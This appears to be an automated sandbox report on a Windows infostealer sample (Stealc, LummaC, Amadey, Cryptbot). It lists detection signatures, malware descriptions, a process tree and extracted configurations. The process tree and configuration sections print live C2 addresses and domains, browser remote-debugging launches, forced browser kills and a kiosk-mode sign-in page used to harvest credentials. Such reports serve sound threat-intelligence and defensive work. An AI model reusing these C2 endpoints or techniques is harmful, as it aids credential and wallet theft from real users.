Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1559126
MD5:	fbcbfc1412235ca533582801d3bf384a
SHA1:	057024127ed717976cd329ef4b441769e3cdb4a9
SHA256:	84b2e6cf11972bbf1185a1370463ef3869b3713159bf2f962855a22a1ec02d3a
Tags:	exeuser-Bitsight
Infos:

Detection

PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Detected PureCrypter Trojan

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

Modifies windows update settings

Monitors registry run keys for changes

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 1656 cmdline: "C:\Users\user\Desktop\file.exe" MD5: FBCBFC1412235CA533582801D3BF384A)

chrome.exe (PID: 6720 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4408 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2276 --field-trial-handle=2180,i,1193533664594745420,11843900780482775577,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 7916 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8128 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2224,i,493605343487606503,8968169282104063803,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 9108 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHCFCAAEBGC.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 9116 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsHCFCAAEBGC.exe (PID: 9160 cmdline: "C:\Users\user\DocumentsHCFCAAEBGC.exe" MD5: 4A97D2E0F102525CD3CA67C4AD404846)

skotes.exe (PID: 8584 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 4A97D2E0F102525CD3CA67C4AD404846)

msedge.exe (PID: 8160 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7860 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=1928,i,11354114347727692007,15342646910446343139,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8152 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6416 --field-trial-handle=1928,i,11354114347727692007,15342646910446343139,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 3780 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6448 --field-trial-handle=1928,i,11354114347727692007,15342646910446343139,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5580 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6420 --field-trial-handle=1928,i,11354114347727692007,15342646910446343139,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 3480 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=1928,i,11354114347727692007,15342646910446343139,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 8484 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 4A97D2E0F102525CD3CA67C4AD404846)

skotes.exe (PID: 8936 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 4A97D2E0F102525CD3CA67C4AD404846)

ae2b9dbc74.exe (PID: 8108 cmdline: "C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe" MD5: 86DCE43872FFD26D6225323BF7F0C76F)

chrome.exe (PID: 3812 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6252 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2624 --field-trial-handle=2560,i,1744162465723781976,2050082240511730868,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

067286f766.exe (PID: 8068 cmdline: "C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe" MD5: 828B27824DCB03A47D868B1193B68944)

fd9f6e129b.exe (PID: 5668 cmdline: "C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe" MD5: FBCBFC1412235CA533582801D3BF384A)

92cf6f64c8.exe (PID: 9176 cmdline: "C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe" MD5: C9B3622D82BED3CEAE938F36E2E8422F)

taskkill.exe (PID: 9192 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 9200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 9164 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8644 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 8780 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5168 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 8560 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 8904 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

8416d1ef13.exe (PID: 5940 cmdline: "C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe" MD5: F9E6D98FBA140FE4E753DA895E7E900A)

firefox.exe (PID: 8720 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 8736 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 8336 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2204 -parentBuildID 20230927232528 -prefsHandle 2112 -prefMapHandle 2104 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {587bd004-f34e-492e-9aa6-57c91a79be03} 8736 "\\.\pipe\gecko-crash-server-pipe.8736" 204fa36d710 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 2372 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4104 -parentBuildID 20230927232528 -prefsHandle 4156 -prefMapHandle 4136 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {434de7d9-ddfc-471b-8110-12ba07c112d8} 8736 "\\.\pipe\gecko-crash-server-pipe.8736" 2048cd1a510 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

067286f766.exe (PID: 8688 cmdline: "C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe" MD5: 828B27824DCB03A47D868B1193B68944)

fd9f6e129b.exe (PID: 2584 cmdline: "C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe" MD5: FBCBFC1412235CA533582801D3BF384A)

92cf6f64c8.exe (PID: 8004 cmdline: "C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe" MD5: C9B3622D82BED3CEAE938F36E2E8422F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
PureCrypter	According to zscaler, PureCrypter is a fully-featured loader being sold since at least March 2021The malware has been observed distributing a variety of remote access trojans and information stealersThe loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption and obfuscation to evade antivirus software productsPureCrypter features provide persistence, injection and defense mechanisms that are configurable in Googles Protocol Buffer message format	No Attribution	https://any.run/cybersecurity-blog/pure-malware-family-analysis/ https://blog.netlab.360.com/purecrypter-is-busy-pumping-out-various-malicious-malware-families/ https://blog.sekoia.io/mallox-ransomware-affiliate-leverages-purecrypter-in-microsoft-sql-exploitation-campaigns/ https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter	https://malpedia.caad.fkie.fraunhofer.de/details/win.purecrypter

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: LummaC

{"C2 url": ["p3ar11fter.sbs", "peepburry828.sbs", "3xp3cts1aim.sbs", "processhol.sbs", "p10tgrace.sbs"], "Build id": "LOGS11--LiveTraffic"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2413344379.0000000000281000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000002.2492523821.0000000000A11000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000031.00000002.3162156338.000000000140B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000003.2947632959.0000000000C23000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000003.2900904308.0000000000C32000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001B.00000003.2902525546.0000000005110000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000017.00000003.2683186845.0000000004B50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000002.2942770263.0000000000621000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000003.2451968949.0000000005070000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000003.2926968578.0000000000C36000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000003.2928573051.0000000000C36000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000003.2926920786.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000003.2408785578.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000031.00000002.3136078314.0000000000621000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000003.2942468191.0000000000C36000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000031.00000003.3080110945.0000000005020000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000003.2884972394.0000000000C32000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000002.2450727529.0000000000CE1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000003.2901286185.0000000000C32000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2413344379.000000000034C000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001D.00000003.3005367045.0000000000ADF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
0000001A.00000003.2947470579.0000000000C48000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001B.00000002.2945693748.000000000143E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000003.2901392194.0000000000C36000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2414963781.0000000000D9E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000015.00000003.2452853809.0000000004D70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2048304641.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000003.2884338454.0000000000C30000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000003.2886167629.0000000000C33000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000015.00000002.2494111501.0000000000A11000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000003.2885578673.0000000000C33000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000003.2942421281.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 1656	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 1656	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 1656	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 1656	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 067286f766.exe PID: 8068	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 067286f766.exe PID: 8068	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: fd9f6e129b.exe PID: 5668	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: fd9f6e129b.exe PID: 5668	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 92cf6f64c8.exe PID: 9176	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: 067286f766.exe PID: 8688	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 067286f766.exe PID: 8688	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 38 entries

Unpacked PEs

Source	Rule	Description	Author
20.2.skotes.exe.a10000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
19.2.DocumentsHCFCAAEBGC.exe.ce0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
21.2.skotes.exe.a10000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8936, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\067286f766.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 1656, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 6720, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8936, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\067286f766.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T08:10:20.646703+0100	2028371	3	Unknown Traffic	192.168.2.5	50129	188.114.96.3	443	TCP
2024-11-20T08:10:21.817470+0100	2028371	3	Unknown Traffic	192.168.2.5	50135	188.114.96.3	443	TCP
2024-11-20T08:10:23.599309+0100	2028371	3	Unknown Traffic	192.168.2.5	50137	188.114.96.3	443	TCP
2024-11-20T08:10:25.971415+0100	2028371	3	Unknown Traffic	192.168.2.5	50139	188.114.96.3	443	TCP
2024-11-20T08:10:27.737478+0100	2028371	3	Unknown Traffic	192.168.2.5	50142	188.114.96.3	443	TCP
2024-11-20T08:10:29.467456+0100	2028371	3	Unknown Traffic	192.168.2.5	50143	188.114.96.3	443	TCP
2024-11-20T08:10:31.817389+0100	2028371	3	Unknown Traffic	192.168.2.5	50146	188.114.96.3	443	TCP
2024-11-20T08:10:36.402824+0100	2028371	3	Unknown Traffic	192.168.2.5	50153	188.114.96.3	443	TCP
2024-11-20T08:10:36.467068+0100	2028371	3	Unknown Traffic	192.168.2.5	50154	188.114.96.3	443	TCP
2024-11-20T08:10:37.806801+0100	2028371	3	Unknown Traffic	192.168.2.5	50158	188.114.96.3	443	TCP
2024-11-20T08:10:39.516781+0100	2028371	3	Unknown Traffic	192.168.2.5	50163	188.114.96.3	443	TCP
2024-11-20T08:10:42.517837+0100	2028371	3	Unknown Traffic	192.168.2.5	50178	188.114.96.3	443	TCP
2024-11-20T08:10:44.994414+0100	2028371	3	Unknown Traffic	192.168.2.5	50181	188.114.96.3	443	TCP
2024-11-20T08:10:49.856304+0100	2028371	3	Unknown Traffic	192.168.2.5	50191	188.114.96.3	443	TCP
2024-11-20T08:10:56.166819+0100	2028371	3	Unknown Traffic	192.168.2.5	50195	188.114.96.3	443	TCP
2024-11-20T08:10:58.488579+0100	2028371	3	Unknown Traffic	192.168.2.5	50197	188.114.96.3	443	TCP
2024-11-20T08:11:58.534159+0100	2028371	3	Unknown Traffic	192.168.2.5	50324	20.189.173.21	443	TCP
2024-11-20T08:13:45.795595+0100	2028371	3	Unknown Traffic	192.168.2.5	61345	51.116.253.170	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T08:10:21.256475+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50129	188.114.96.3	443	TCP
2024-11-20T08:10:22.240491+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50135	188.114.96.3	443	TCP
